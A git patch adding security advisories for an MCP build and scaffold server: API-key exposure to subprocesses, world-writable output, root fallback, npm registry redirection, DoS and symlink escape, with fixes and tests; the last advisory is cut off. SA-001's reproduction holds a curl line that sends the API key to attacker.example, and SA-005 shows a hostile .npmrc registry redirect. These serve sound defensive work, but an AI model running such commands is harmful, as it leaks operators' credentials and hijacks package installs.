From 13ff37a124097575760fbf0f6c80fba66d582b00 Mon Sep 17 00:00:00 2001 From: Gordon Farquharson Date: Tue, 1 Sep 2026 09:20:04 +0100 Subject: [PATCH 1/5] security audit --- .../SA-001-api-key-env-exposure.md | 151 ++++++++++++++++++ .../SA-002-world-writable-build-output.md | 117 ++++++++++++++ .../SA-003-vulnerable-dependencies.md | 76 +++++++++ .../SA-004-docker-root-fallback.md | 93 +++++++++++ .../SA-005-supply-chain-beta-tag.md | 92 +++++++++++ .../SA-006-unused-qs-dependency.md | 51 ++++++ .../SA-007-unbounded-build-processes.md | 99 ++++++++++++ .../SA-008-symlink-path-escape.md | 111 +++++++++++++ .../SA-009-mutable-base-images.md | 67 ++++++++ context/secuirty-advisories/index.md | 84 ++++++++++ 10 files changed, 941 insertions(+) create mode 100644 context/secuirty-advisories/SA-001-api-key-env-exposure.md create mode 100644 context/secuirty-advisories/SA-002-world-writable-build-output.md create mode 100644 context/secuirty-advisories/SA-003-vulnerable-dependencies.md create mode 100644 context/secuirty-advisories/SA-004-docker-root-fallback.md create mode 100644 context/secuirty-advisories/SA-005-supply-chain-beta-tag.md create mode 100644 context/secuirty-advisories/SA-006-unused-qs-dependency.md create mode 100644 context/secuirty-advisories/SA-007-unbounded-build-processes.md create mode 100644 context/secuirty-advisories/SA-008-symlink-path-escape.md create mode 100644 context/secuirty-advisories/SA-009-mutable-base-images.md create mode 100644 context/secuirty-advisories/index.md diff --git a/context/secuirty-advisories/SA-001-api-key-env-exposure.md b/context/secuirty-advisories/SA-001-api-key-env-exposure.md new file mode 100644 index 0000000..88232a2 --- /dev/null +++ b/context/secuirty-advisories/SA-001-api-key-env-exposure.md @@ -0,0 +1,151 @@ +# SA-001 — Operator API key exposed to every build/scaffold subprocess + +**Severity:** High +**Category:** Credential exposure / secrets management (CWE-200, CWE-522) +**Status:** Open +**Affected files:** +- `src/tools/local/workspace/compiler/jsBuild.ts:33` +- `src/tools/local/workspace/compiler/asBuild.ts:57` +- `src/tools/local/workspace/compiler/rustBuild.ts:80` +- `src/tools/local/scaffolding/scaffolds.ts:40` (`execAsync`), `:175` (`execFile`) + +## Summary + +Every subprocess this server spawns to build or scaffold code inherits the +**full parent environment**, which includes `GCORE_API_KEY` (and the legacy +`FASTEDGE_API_KEY`). Those subprocesses execute **untrusted code from the +workspace and the network**: + +- `cargo build` runs the project's `build.rs` and any proc-macro crate at + compile time — arbitrary Rust, with full env access. +- `npx fastedge-build` / `asc` run code from the project's `node_modules`. +- `create-fastedge-app@beta` + the `npm install` it triggers run **network- + fetched** package lifecycle scripts (`postinstall`, etc.). + +Any of that code can read `process.env.GCORE_API_KEY` and exfiltrate it. The +key is a Gcore account credential — leaking it is account compromise, far beyond +the blast radius of the build itself. + +## Where it is + +All four spawn sites pass the whole environment: + +```ts +// jsBuild.ts / asBuild.ts / rustBuild.ts +spawn(cmd, args, { stdio: [...], cwd, env: { ...process.env } }); +// ^^^^^^^^^^^^^^^^^^^^^^ leaks GCORE_API_KEY + +// scaffolds.ts +execFileAsync("npx", args, { cwd, env: process.env, ... }); +``` + +`GCORE_API_KEY` is read in `src/server.ts:14` and is present in `process.env` +for the whole server lifetime, so it is in `{ ...process.env }` at every spawn. + +## Reproduction + +1. In a workspace project, add a `build.rs` (Rust) or `package.json` with a + `postinstall`/`preinstall` script (JS) that does + `curl -X POST https://attacker.example -d "$GCORE_API_KEY"` (or the JS + equivalent reading `process.env.GCORE_API_KEY`). +2. Trigger `build-wasm` (Rust/AS/JS) or `scaffold-fastedge-project` against it. +3. The key leaves the container to the attacker's host. + +## Impact + +- **Confidentiality:** full Gcore API key disclosure to any code the build + touches (first-party project code, transitive npm/cargo dependencies, + proc-macros, lifecycle scripts). +- Realistic trigger: a developer builds a project with a compromised + dependency. No targeting of this server is required — ordinary supply-chain + compromise reaches the key. + +## Remediation + +Two layers are required. Layer 1 alone is **not** sufficient (see the caveat) — +do both. + +### Layer 1 — stop putting the key in `process.env` at all + +`server.ts:14` reads the key into a constant but leaves it in `process.env` for +the whole process lifetime, so it is in `{ ...process.env }` at every spawn *and* +readable by any same-UID child via `/proc//environ`. After capturing +it, delete it from the ambient environment: + +```ts +// src/server.ts — after reading the key into GCORE_API_KEY +const GCORE_API_KEY = + process.env.GCORE_API_KEY || process.env.FASTEDGE_API_KEY || ""; +delete process.env.GCORE_API_KEY; +delete process.env.FASTEDGE_API_KEY; +``` + +**Caution — this requires one companion change.** `api-client.ts:84` reads +`process.env.GCORE_API_KEY` *lazily* at call time, so deleting it from the env +will break API calls unless the captured key is threaded through instead. +`callGcoreApi` already accepts `opts.authHeader`; make the server pass the +captured key down to the API tools (the tool layer already receives +`gcoreApiKey` via `ToolOptions` — use that everywhere `callGcoreApi` currently +falls back to `process.env`). Verify no code path still relies on +`process.env.GCORE_API_KEY` before deleting it, or you will silently switch the +server to "No authorization provided". Run `pnpm run test:api` after. + +### Layer 2 — pass a scrubbed env to subprocesses anyway (defense in depth) + +Even with Layer 1, use an **allowlist** env for children so a *future* secret +added to the environment isn't leaked by default: + +```ts +// src/utils/index.ts (or a new src/utils/env.ts) +const PASSTHROUGH_ENV = [ + "PATH", "HOME", "LANG", "LC_ALL", "TERM", "CARGO_HOME", "RUSTUP_HOME", + "WASI_SYSROOT", "npm_config_cache", +]; + +/** Minimal env for build/scaffold child processes — no ambient secrets. */ +export function buildSubprocessEnv(): NodeJS.ProcessEnv { + const env: NodeJS.ProcessEnv = {}; + for (const k of PASSTHROUGH_ENV) if (process.env[k]) env[k] = process.env[k]; + // The Dockerfile sets per-target CC_*/CXX_* for native wasm builds — keep them. + for (const k of Object.keys(process.env)) { + if (/^(CC|CXX|CFLAGS|CXXFLAGS)_/.test(k) && process.env[k]) env[k] = process.env[k]; + } + return env; +} +``` + +Replace `env: { ...process.env }` / `env: process.env` with +`env: buildSubprocessEnv()` in `jsBuild.ts:33`, `asBuild.ts:57`, +`rustBuild.ts:80`, and both `scaffolds.ts` calls (line 40 `execAsync` currently +sets no `env` at all, so it inherits everything — add it there too). + +> An allowlist is chosen over a denylist deliberately: a denylist that strips +> only `GCORE_API_KEY`/`FASTEDGE_API_KEY` (the naive fix) silently leaks the +> next secret someone adds to the environment. If the allowlist turns out to +> miss a var a build genuinely needs, the build fails loudly (easy to diagnose +> and add) rather than a secret leaking silently. + +## Honest limitation + +Neither layer is perfect isolation. Layer 1 removes the key from the parent +environment, which closes the `/proc//environ` read *for the key*. But any +build that legitimately runs untrusted code (proc-macros, postinstall) executes +in the same trust domain as the tool that *does* hold the key elsewhere in +memory. True isolation would mean running builds in a separate sandbox/UID/ +namespace with no path to the credential at all. Layers 1+2 are the pragmatic, +mechanically-applicable mitigation; call out sandboxing as the longer-term fix, +don't claim this "isolates" the key. + +## Test + +Add to `scripts/tests/`: stub `spawn`, call each compiler, assert the `env` +passed contains no `GCORE_API_KEY`/`FASTEDGE_API_KEY` (and, if you want to lock +Layer 1 in, assert `process.env.GCORE_API_KEY` is `undefined` after server +bootstrap). Fails if any site regresses. + +## Notes + +- Same trust boundary the shell-injection fixes (ICM-50655) hardened — that work + removed the shell so build inputs can't inject commands; this is the + complementary half: even with no injection, the build *legitimately* runs + untrusted code, so the key must not be in its reach. diff --git a/context/secuirty-advisories/SA-002-world-writable-build-output.md b/context/secuirty-advisories/SA-002-world-writable-build-output.md new file mode 100644 index 0000000..7fa97f5 --- /dev/null +++ b/context/secuirty-advisories/SA-002-world-writable-build-output.md @@ -0,0 +1,117 @@ +# SA-002 — Build output made world-writable (`chmod 0o777` up the tree) + +**Severity:** Medium (shared-host / shared-runner deployments; lower on a +single-user dev machine) +**Category:** Incorrect permission assignment (CWE-732) +**Status:** Open +**Affected file:** `src/tools/local/workspace/compiler/utils.ts:7-29` (`wasmOutputPermissions`) + +## Summary + +After every successful build, `wasmOutputPermissions` sets mode `0o777` +(read/write/execute for **everyone**) on the output `.wasm` file and on +**every directory** from the output file's parent upward until the loop hits +`cwd`, `/`, or `.`. + +Two problems: + +1. **`0o777` is world-writable.** Any other user or process on the host (or + sharing the bind mount) can replace the built `.wasm` — the exact artifact + the operator uploads to production via `upload-binary` — or drop files into + those directories. +2. **The walk escapes the build directory.** The loop terminates only when + `currentDir === cwd`. When the output dir is **not under `cwd`** — the + *default* for Rust builds: `compiler/index.ts:96` puts output at + `/wasm/output.wasm` while `cwd` is the nested project dir + containing `Cargo.toml` — the loop never meets `cwd` and chmods every + ancestor up to and **including `/workspace` itself** before stopping at `/`. + The whole workspace root ends up `0o777`. + +## Where it is + +```ts +function wasmOutputPermissions(wasmBinaryPath: string, cwd: string) { + const outputDir = dirname(wasmBinaryPath); + let currentDir = outputDir; + while (currentDir !== cwd && currentDir !== "/" && currentDir !== ".") { + chmodSync(currentDir, 0o777); // world-writable dir — walks past cwd + currentDir = dirname(currentDir); // when output isn't under cwd + } + chmodSync(wasmBinaryPath, 0o777); // world-writable file +} +``` + +## Why it exists (context — the fix must preserve this) + +In the Docker container the build may run as a different UID than the host user +who owns the bind mount (and in the root-fallback case of SA-004, as root), so +output could come out root-owned and unreadable/undeletable by the host user. +The **goal** is "the host user can read/write/delete the output". `0o777` is +the sledgehammer version of that. Any fix that only tightens mode bits (e.g. +`0o770`/`0o660`) **breaks this goal in the root-fallback case**: files stay +root-owned and the host user — different UID, not in root's group — loses +access. Do not apply a mode-only change. + +## Impact + +- **Integrity:** local tampering with the production-bound WASM artifact, the + build tree, and (via the escaping walk) the entire workspace root, by any + local user. Requires local/shared-host access, hence Medium. + +## Remediation + +Fix **ownership**, not world-writability, and bound the walk: + +1. **Chown to the workspace owner instead of chmod 777.** The entrypoint + already resolves the correct UID/GID (`docker-entrypoint.sh` — workspace + owner or `HOST_UID`/`HOST_GID`). Apply the same resolution here: + + ```ts + import { chownSync, statSync } from "fs"; + + function fixOutputOwnership(wasmBinaryPath: string, workspaceRoot: string) { + if (process.getuid?.() !== 0) return; // non-root: entrypoint already + // dropped privs; files are owned + // correctly, nothing to do. + const { uid, gid } = statSync(workspaceRoot); // owner of the bind mount + if (uid === 0) return; // no meaningful owner to match + chownSync(wasmBinaryPath, uid, gid); + chmodSync(wasmBinaryPath, 0o644); // rw owner, r others, no exec + } + ``` + + When the server runs non-root (the normal `setpriv` path), output is already + owned by the right user and **no chmod/chown is needed at all**. + +2. **Bound the directory walk to the workspace.** If parent directories were + *created by the build* under root, chown those too — but stop at + `workspaceRoot` (not `cwd`, which the output path may not be under), and + never touch a directory that already existed with correct ownership: + + ```ts + let dir = dirname(wasmBinaryPath); + const root = resolve(workspaceRoot); + while (dir.startsWith(root) && dir !== root) { + chownSync(dir, uid, gid); // same guard conditions as above + dir = dirname(dir); + } + ``` + +3. Replace the exported `wasmOutputPermissions` with this and update the three + compiler call sites (`jsBuild.ts:59`, `asBuild.ts:77`, `rustBuild.ts:133`) + to pass `workspaceRoot` instead of `cwd` (thread it through from + `compiler/index.ts`, which already has it). + +## Test + +Extend/replace the check in `scripts/tests/`: create a temp "workspace", run +the function as-is, assert (a) no touched path has any world-write bit +(`mode & 0o002 === 0`), (b) no path **outside** the temp workspace root was +modified (the escaping-walk regression), (c) the output file is owned by the +workspace owner when run as root (root-only assertion — skip when the test +runs unprivileged). + +## Related + +- SA-004 — the root-fallback is *why* ownership fixing is needed at all; if + SA-004 removes the root path entirely, this function can shrink to a no-op. diff --git a/context/secuirty-advisories/SA-003-vulnerable-dependencies.md b/context/secuirty-advisories/SA-003-vulnerable-dependencies.md new file mode 100644 index 0000000..f801b78 --- /dev/null +++ b/context/secuirty-advisories/SA-003-vulnerable-dependencies.md @@ -0,0 +1,76 @@ +# SA-003 — Vulnerable transitive dependencies + +**Severity:** Low as currently shipped (stdio transport — the vulnerable HTTP +code paths are never started); **latent High** if an HTTP/SSE transport is ever +enabled. Track it, fix it, but do not treat it as a live Medium. +**Category:** Vulnerable and outdated components (CWE-1035 / CWE-937) +**Status:** Open +**Affected:** `package.json` production tree — everything below is transitive +under `@modelcontextprotocol/sdk@1.30.0` (via `express`/`hono`), except `qs` +which is *also* a direct (unused) dep — see SA-006. + +## Summary + +`pnpm audit --prod` (2026-09-01) reports **8 unique advisories** in the +production tree: 3 high, 3 moderate, 2 low. (Audit tools may print larger +totals — e.g. "50 vulnerabilities" — because they count every dependency *path*; +the unique-advisory list below is what actually needs patching.) + +`src/server.ts:35` uses `StdioServerTransport` only, so the Express/Hono HTTP +stack that contains almost all of these is present in the image but never +started. Reachability today is therefore negligible; the risk is latent (a +future transport change makes them live) plus audit-gate/compliance noise. + +## Unique advisories (exact versions — apply these, no guessing) + +| Severity | Package | Vulnerable | Patched | Advisory | Reachable via stdio? | +|----------|---------|-----------|---------|----------|----------------------| +| high | `@hono/node-server` | `<1.19.10` | `>=1.19.10` | GHSA-wc8c-qw6v-h7f6 | No (HTTP static serving) | +| high | `path-to-regexp` | `>=8.0.0 <8.4.0` | `>=8.4.0` | GHSA-j3q9-mxjg-w52f | No (HTTP routing) | +| high | `fast-uri` | `>=3.0.0 <=3.1.3` | `>=3.1.4` | GHSA-v2hh-gcrm-f6hx | Unlikely (ajv URI parsing) | +| moderate | `hono` | `<4.11.7` | `>=4.11.7` | GHSA-9r54-q6cx-xmh5 | No | +| moderate | `ajv` | `>=7.0.0-alpha.0 <8.18.0` | `>=8.18.0` | GHSA-2g4f-4pwh-qvx6 | Unlikely | +| moderate | `picomatch` | `>=4.0.0 <4.0.4` | `>=4.0.4` | GHSA-3v7f-55p6-f55p | No | +| low | `qs` | `>=6.7.0 <=6.14.1` | `>=6.14.2` | GHSA-w7fw-mjwx-w883 | No (see SA-006) | +| low | `body-parser` | `>=2.0.0 <2.3.0` | `>=2.3.0` | GHSA-v422-hmwv-36x6 | No | + +## Remediation (mechanical, in this order) + +1. **Check for a newer `@modelcontextprotocol/sdk` patch/minor within `^1.x`** + (current: `1.30.0`). Do **not** jump majors: + ```bash + pnpm outdated @modelcontextprotocol/sdk # look for a 1.x bump only + ``` + If a newer 1.x exists, take it, then re-run `pnpm audit --prod` — it may + clear several rows. +2. **Pin the remainder with `pnpm.overrides`** using the exact patched versions + from the table (all are semver-compatible bumps within the same major, so + they are safe to force): + ```json + "pnpm": { + "overrides": { + "@hono/node-server@<1.19.10": ">=1.19.10", + "path-to-regexp@>=8.0.0 <8.4.0": ">=8.4.0", + "fast-uri@>=3.0.0 <=3.1.3": ">=3.1.4", + "hono@<4.11.7": ">=4.11.7", + "ajv@>=7.0.0-alpha.0 <8.18.0": ">=8.18.0", + "picomatch@>=4.0.0 <4.0.4": ">=4.0.4", + "qs@>=6.7.0 <=6.14.1": ">=6.14.2", + "body-parser@>=2.0.0 <2.3.0": ">=2.3.0" + } + } + ``` +3. `pnpm install`, then `pnpm run build && pnpm run test` — the full suite must + pass before this counts as fixed. +4. Rebuild the Docker image so the lockfile change ships. + +## Verification + +`pnpm audit --prod` reports 0 advisories. Add a CI step +`pnpm audit --prod --audit-level high` so regressions fail the build. + +## Notes + +- Base-image tag pinning was previously (incorrectly) declared "in good shape" + here — that's a separate real finding now tracked as **SA-009** (mutable + `rust:1.95-slim` and `:latest` base tags). diff --git a/context/secuirty-advisories/SA-004-docker-root-fallback.md b/context/secuirty-advisories/SA-004-docker-root-fallback.md new file mode 100644 index 0000000..64b32a5 --- /dev/null +++ b/context/secuirty-advisories/SA-004-docker-root-fallback.md @@ -0,0 +1,93 @@ +# SA-004 — Container falls back to running as root + +**Severity:** Medium +**Category:** Execution with unnecessary privileges (CWE-250) +**Status:** Open +**Affected files:** `docker-entrypoint.sh:35-55`, `Dockerfile`, `Dockerfile-base` + +## Summary + +`docker-entrypoint.sh` drops privileges to the workspace owner's UID/GID via +`setpriv`, but **falls back to `exec "$@"` as root** whenever the resolved +target UID is 0. That happens in common configurations: + +- no writable `/workspace` mount, or a root-owned mount; +- Docker Desktop on macOS/Windows, where bind-mount ownership is virtualized + and typically appears as UID 0 inside the container (the entrypoint's own + comment documents this); +- `setpriv` missing from the image. + +In those cases the server — which **executes untrusted workspace build code** +(`cargo build`/`build.rs`, npm lifecycle scripts, proc-macros; see `index.md` +threat model and SA-001) — runs that code as **root inside the container**. +Scope note: container root is not host root by itself, but it maximizes blast +radius — full write access to the container filesystem and to whatever is bind- +mounted, and a strictly stronger position for any container-escape primitive. + +## Where it is + +```sh +if [ "$(id -u)" = "0" ] && [ "$target_uid" != "0" ] && command -v setpriv ...; then + ... + exec setpriv --reuid="$target_uid" --regid="$target_gid" --clear-groups "$@" +fi +exec "$@" # <-- runs as root when target_uid resolved to 0 +``` + +## Constraint the fix MUST respect + +**Do NOT add `USER app` to the Dockerfile as a one-line fix.** The entrypoint's +privilege-drop machinery *requires starting as root*: it must `stat` the mount, +`mkdir`/`chmod`/`chown` the per-UID `$HOME` (`/tmp/home-`), and call +`setpriv`. With a non-root `USER`, `id -u` is already nonzero, that whole branch +is skipped, the per-UID home is never prepared, and a root-owned `/workspace` +becomes unwritable. The container must **start** as root and the fix is to make +the **fallback** land on a prepared non-root account instead of staying root. + +## Remediation + +1. **Bake an unprivileged fallback user into the image** (in `Dockerfile-base` + or `Dockerfile`), but do *not* set `USER`: + ```dockerfile + RUN groupadd -g 10001 fastedge && \ + useradd -u 10001 -g 10001 -m -d /home/fastedge fastedge + ``` +2. **Change the entrypoint fallback**: when the resolved `target_uid` is 0 + (workspace root-owned / absent / virtualized), drop to the baked user + instead of staying root, reusing the existing home-prep + `setpriv` path: + ```sh + if [ "$target_uid" = "0" ]; then + target_uid=10001 + target_gid=10001 + fi + ``` + Place this after the owner-resolution block, before the `setpriv` branch. + The existing per-UID `HOME=/tmp/home-` preparation then covers the + fallback user too. Keep a genuine last-resort `exec "$@"` only for the + `setpriv`-missing case, and log a loud warning there. +3. **Behavior change to flag to the operator:** on Docker Desktop (virtualized + mounts appearing as UID 0), files written to `/workspace` will now be owned + by UID 10001 instead of root. On Docker Desktop specifically the host-side + ownership mapping is virtualized anyway, so host access is typically + unaffected — but note it in `STANDALONE-SETUP.md` and the CHANGELOG, and + document `HOST_UID`/`HOST_GID` as the explicit override for anyone this + breaks. +4. Also document in `STANDALONE-SETUP.md`: running with + `-e HOST_UID=$(id -u) -e HOST_GID=$(id -g)` (or a user-owned mount) is the + recommended setup. + +## Test + +Build the image and assert the fallback is non-root: + +```bash +# no mount → previously root, now 10001 +docker run --rm id -u # expect 10001 (via entrypoint) +# user-owned mount → unchanged behavior +docker run --rm -v "$PWD:/workspace" id -u # expect $(id -u) +``` + +## Related + +- SA-001 / SA-007 — untrusted build code is the payload that makes root + execution matter; SA-002's ownership fix assumes this UID resolution. diff --git a/context/secuirty-advisories/SA-005-supply-chain-beta-tag.md b/context/secuirty-advisories/SA-005-supply-chain-beta-tag.md new file mode 100644 index 0000000..e4f8eaf --- /dev/null +++ b/context/secuirty-advisories/SA-005-supply-chain-beta-tag.md @@ -0,0 +1,92 @@ +# SA-005 — Scaffolding fetches mutable packages with workspace-controlled npm config + +**Severity:** Medium (raised from Low: the untrusted workspace can redirect the +registry, so this is not gated on compromising Gcore's npm account) +**Category:** Download of code without integrity check (CWE-494) +**Status:** Open +**Affected files:** +- `src/tools/local/scaffolding/scaffolds.ts:39` (`list-fastedge-templates`, `execAsync`) +- `src/tools/local/scaffolding/scaffolds.ts:158` (`scaffold-fastedge-project`, `execFile` args) + +## Summary + +Both scaffolding tools run `create-fastedge-app@beta` via `npx --yes`, which +fetches from the registry at tool-call time and executes what it gets. Two +distinct problems compound: + +1. **Mutable dist-tag.** `@beta` is not a pin — it resolves to whatever the + registry's `beta` tag currently points at (right now `0.0.14-beta.1`, which + is *behind* `latest` = `0.0.16`). A moved or hijacked tag silently changes + what code runs. +2. **The untrusted workspace controls npm's config.** Both invocations run with + `cwd` inside the workspace (`execAsync` at :40 inherits the server cwd; + `execFile` at :173 sets `cwd: options.workspaceRoot`). npm/npx read + **project-level `.npmrc`** from the cwd and its ancestors — so a workspace + containing `.npmrc` with `registry=https://attacker.example/` redirects the + fetch to an attacker-controlled registry. **Version pinning alone does not + fix this**: the attacker's registry can serve any payload under any version + number. The `npm install` that scaffolding triggers inside the new project is + subject to the same redirect. + +Fetched code executes inside the container that holds the operator's API key +(SA-001) and, in the fallback case, as root (SA-004). + +## Impact + +- Supply-chain RCE: a malicious workspace `.npmrc` (e.g. in a cloned repo the + user asked to work on) turns a scaffold/template-list call into arbitrary code + execution — no compromise of Gcore infrastructure required. Hence Medium. +- Residual risk after fixing the redirect: mutable `@beta` still trusts the + real registry's tag state. + +## Remediation + +Both parts are required: + +1. **Neutralize workspace npm config for these invocations.** Point npm at an + empty userconfig and force the registry explicitly: + ```ts + const NPM_SAFE_ENV = { + npm_config_registry: "https://registry.npmjs.org/", + NPM_CONFIG_USERCONFIG: "/dev/null", + // project .npmrc has no dedicated kill-switch env var — ALSO run npx from a + // cwd outside the workspace (e.g. os.tmpdir()) for the list-templates call, + // and pass --registry explicitly where supported. + }; + ``` + - `list-fastedge-templates` (`:39`): run with `cwd: os.tmpdir()` — it doesn't + need the workspace at all — plus the env above. + - `scaffold-fastedge-project` (`:173`): must create files in the workspace, + so it keeps `cwd: options.workspaceRoot`; pass the env above so the + registry/userconfig are forced even if a `.npmrc` sits in the workspace + root. Verify with the test below — if project-level `.npmrc` still wins in + your npm version, scaffold into a temp dir outside the workspace and move + the result in afterwards. +2. **Pin an exact, verified version** — one shared constant, both call sites: + ```ts + // Deliberately version-bumped when the scaffolder updates. `latest` was + // 0.0.16 at pin time; confirm before applying. + const CREATE_APP_PKG = "create-fastedge-app@0.0.16"; + ``` + If pre-release testing needs `@beta`, gate it behind an explicit env flag + (e.g. `SCAFFOLD_USE_BETA=1`), defaulting to the pin. +3. Longer term: ship `create-fastedge-app` into the image at build time (pinned + + lockfiled in the Dockerfile) and invoke the local copy — removes the + runtime registry fetch entirely. Note this does *not* cover the `npm install` + the scaffolder runs inside the new project; that one inherently talks to the + registry, which is why step 1's config-neutralization matters most. + +## Test + +Two checks in `scripts/tests/`: +- Grep guard: the scaffolding source contains an exact `create-fastedge-app@x.y.z` + pin and no `@beta`/`@latest` (except behind the explicit flag). +- Redirect guard (integration, can be CI-only): put + `registry=http://127.0.0.1:9/` in a temp workspace `.npmrc`, run + `list-fastedge-templates`; it must still succeed (proving the workspace + `.npmrc` was not honored). + +## Related + +- SA-001 (caps what leaked env the fetched code can read), SA-004 (what UID it + runs as), SA-007 (timeouts already exist on these two call sites — keep them). diff --git a/context/secuirty-advisories/SA-006-unused-qs-dependency.md b/context/secuirty-advisories/SA-006-unused-qs-dependency.md new file mode 100644 index 0000000..1d1ffdc --- /dev/null +++ b/context/secuirty-advisories/SA-006-unused-qs-dependency.md @@ -0,0 +1,51 @@ +# SA-006 — Unused direct `qs` dependency (hygiene) + +**Severity:** Low (dependency hygiene — no reachable vulnerability; the code +never calls it) +**Category:** Unnecessary dependency (CWE-1071) +**Status:** Open +**Affected file:** `package.json` (`dependencies.qs`, `devDependencies["@types/qs"]`) + +## Summary + +`package.json` declares `qs` (`^6.14.0`) as a **direct production dependency**, +but nothing in `src/` or `scripts/` imports it (verified by grep — query strings +are built with `URLSearchParams` in `api-client.ts`). It's a dead declaration +that misleads readers and audit triage into thinking the server uses `qs` +directly. + +## Important scope limitation (read before fixing) + +Removing the direct dep does **NOT** remove `qs` from the production image and +does **NOT** clear the `qs` audit advisory (GHSA-w7fw-mjwx-w883). `qs@6.14.1` +is also resolved **transitively** via +`@modelcontextprotocol/sdk → express → body-parser → qs` (confirmed with +`pnpm why qs`). The transitive copy is handled by the version override in +**SA-003** (`qs >=6.14.2`). This advisory is only about deleting the misleading +direct declaration. + +## Impact + +- None directly exploitable. Value of fixing: honest dependency manifest, + smaller direct-dep surface, no accidental future `import qs` landing on an + unpatched version. + +## Remediation + +```bash +grep -rn "from ['\"]qs['\"]\|require(['\"]qs['\"])" src/ scripts/ # must be empty +pnpm remove qs @types/qs +pnpm run build && pnpm run test +``` + +If a future feature needs querystring parsing beyond `URLSearchParams`, re-add +it pinned to `>=6.14.2` at that point. + +## Verification + +- `pnpm run build` and `pnpm run test` pass. +- `pnpm why qs` shows only the transitive path via `@modelcontextprotocol/sdk` + (that path disappearing is SA-003's job, not this one's). +- Do **not** use "`pnpm audit` no longer lists qs" as the success criterion for + this advisory — it will keep listing the transitive copy until SA-003's + override lands. diff --git a/context/secuirty-advisories/SA-007-unbounded-build-processes.md b/context/secuirty-advisories/SA-007-unbounded-build-processes.md new file mode 100644 index 0000000..84ec88c --- /dev/null +++ b/context/secuirty-advisories/SA-007-unbounded-build-processes.md @@ -0,0 +1,99 @@ +# SA-007 — Build subprocesses have no timeout or output limit (DoS) + +**Severity:** Medium (reachable under the untrusted-workspace model; availability +only, no data exposure) +**Category:** Uncontrolled resource consumption (CWE-400) +**Status:** Open +**Affected files:** +- `src/tools/local/workspace/compiler/jsBuild.ts:17-61` +- `src/tools/local/workspace/compiler/asBuild.ts:51-79` +- `src/tools/local/workspace/compiler/rustBuild.ts:72-138` + +## Summary + +All three compiler build paths `spawn` untrusted build tooling with **no +timeout, no cancellation, and no output cap**, then accumulate the child's +stdout/stderr into **unbounded** JavaScript strings: + +```ts +// jsBuild.ts (asBuild.ts, rustBuild.ts are equivalent) +const jsBuild = spawn("npx", [...], { stdio: ["ignore", "pipe", "pipe"], cwd, env }); +let stdout = ""; +jsBuild.stdout?.on("data", (data) => { stdout += data; }); // grows without bound +jsBuild.stderr?.on("data", (data) => { stderr += data; }); // grows without bound +// no timeout, no maxBuffer, no kill path +``` + +Because the workspace is untrusted (a build runs the project's own `build.rs`, +proc-macros, `package.json` scripts — see the `index.md` threat model), a +malicious or accidentally-pathological project can: + +- **Hang the request forever** — a `build.rs` / npm script that sleeps or blocks + never fires `close`, so `buildWasmBinary`'s promise never resolves. The MCP + request hangs indefinitely. +- **Exhaust memory** — a build that prints to stdout/stderr in a loop grows the + `stdout`/`stderr` strings until the Node process is OOM-killed (and Docker + sets no memory limit by default), taking the whole MCP server down. + +Note the scaffolding tools (`scaffolds.ts`) already set `timeout: 120000` and +`maxBuffer: 10MB` on their `exec`/`execFile` calls — the compilers are the +inconsistent, unprotected path and should match them. + +## Impact + +- **Availability:** a single build against a hostile or broken project hangs or + kills the MCP server, denying service to the operator. No confidentiality/ + integrity impact. Trigger is ordinary (build a bad project), hence Medium. + +## Remediation + +Add a timeout with a kill, and cap accumulated output, to all three compilers. +`child_process.spawn` supports `timeout` + `killSignal` directly: + +```ts +const MAX_BUILD_MS = 180_000; // align with batch cap; tune per language +const MAX_OUTPUT_BYTES = 10 * 1024 * 1024; + +const jsBuild = spawn("npx", [...], { + stdio: ["ignore", "pipe", "pipe"], + cwd, + env: buildSubprocessEnv(), // SA-001 + timeout: MAX_BUILD_MS, // Node sends killSignal on expiry + killSignal: "SIGKILL", +}); + +let stdout = ""; +let truncated = false; +jsBuild.stdout?.on("data", (data: Buffer) => { + if (stdout.length + data.length > MAX_OUTPUT_BYTES) { + truncated = true; + stdout = stdout.slice(0, MAX_OUTPUT_BYTES); + jsBuild.kill("SIGKILL"); + return; + } + stdout += data; +}); +// same guard for stderr +``` + +Handle the timeout branch in the `close`/`error` handlers: when the process was +killed by timeout (`signal === "SIGKILL"` / the `error` event with +`err.code === "ETIMEDOUT"`), reject with a clear +`"build timed out after 180000ms"` rather than a generic exit-code message, and +mention truncation if `truncated`. + +Apply identically to `asBuild.ts` and `rustBuild.ts`. Consider a shorter default +for JS/AS than Rust (Rust cold builds are legitimately slow); make it overridable +via env if needed, mirroring `BATCH_MAX_CALLS`. + +## Test + +Add to `scripts/tests/`: a fake build command that (a) sleeps past the timeout — +assert the promise rejects with a timeout error within ~timeout+ε, and (b) +floods stdout — assert memory/accumulated output stays bounded and the process is +killed. A stub replacing `spawn` with a scripted child is enough; no real +toolchain needed. + +## Related + +- SA-001 (`buildSubprocessEnv`), SA-004 (what the runaway runs as). diff --git a/context/secuirty-advisories/SA-008-symlink-path-escape.md b/context/secuirty-advisories/SA-008-symlink-path-escape.md new file mode 100644 index 0000000..2d220b1 --- /dev/null +++ b/context/secuirty-advisories/SA-008-symlink-path-escape.md @@ -0,0 +1,111 @@ +# SA-008 — Workspace confinement is lexical only; symlinks escape it + +**Severity:** Medium +**Category:** Improper link resolution before file access / path traversal +(CWE-59, CWE-22) +**Status:** Open +**Affected file:** `src/utils/index.ts:6-22` (`normalizePath`), consumed by +build, scaffold, and upload tools. + +## Summary + +`normalizePath` is the single confinement gate for every path a tool accepts +(entry file, output file, build dir, scaffold output dir, wasm-to-upload). It +does **purely lexical** validation: + +```ts +const posixPath = filePath.replace(/\\/g, "/"); +const normalizedPath = path.normalize(posixPath); +if (normalizedPath.startsWith("..") || path.isAbsolute(normalizedPath) || /^[a-zA-Z]:/.test(posixPath)) + return INVALID_PATH; +return path.join(workspaceRoot, normalizedPath); // never realpath'd +``` + +It correctly blocks `..` traversal, absolute paths, and Windows drive letters — +**as strings**. It never calls `realpath`/`lstat`, so it does not detect that a +*resolved* path leaves the workspace through a **symlink**. If the untrusted +workspace contains a symlink — e.g. `link → /` or `link → /etc` or +`link → /proc/1/root` — then a tool-supplied path like `link/some/file`: + +- passes the lexical check (`"link/some/file"` has no `..`, isn't absolute), and +- `path.join(workspaceRoot, "link/some/file")` resolves through the symlink to + outside `/workspace` when the filesystem dereferences it. + +Under the threat model the workspace is untrusted (a cloned repo the user is +working on can ship a symlink), so this is attacker-plantable. + +## Reachable sinks + +- `binaries/api.ts:17` — `fs.readFileSync(wasmFilePath)` then uploads the bytes: + **arbitrary file read + exfiltration to the Gcore API** (e.g. read a host + secret mounted into the container and upload it as a "binary"). +- `compiler/*` — build reads the entry file and **writes** the output wasm + through the 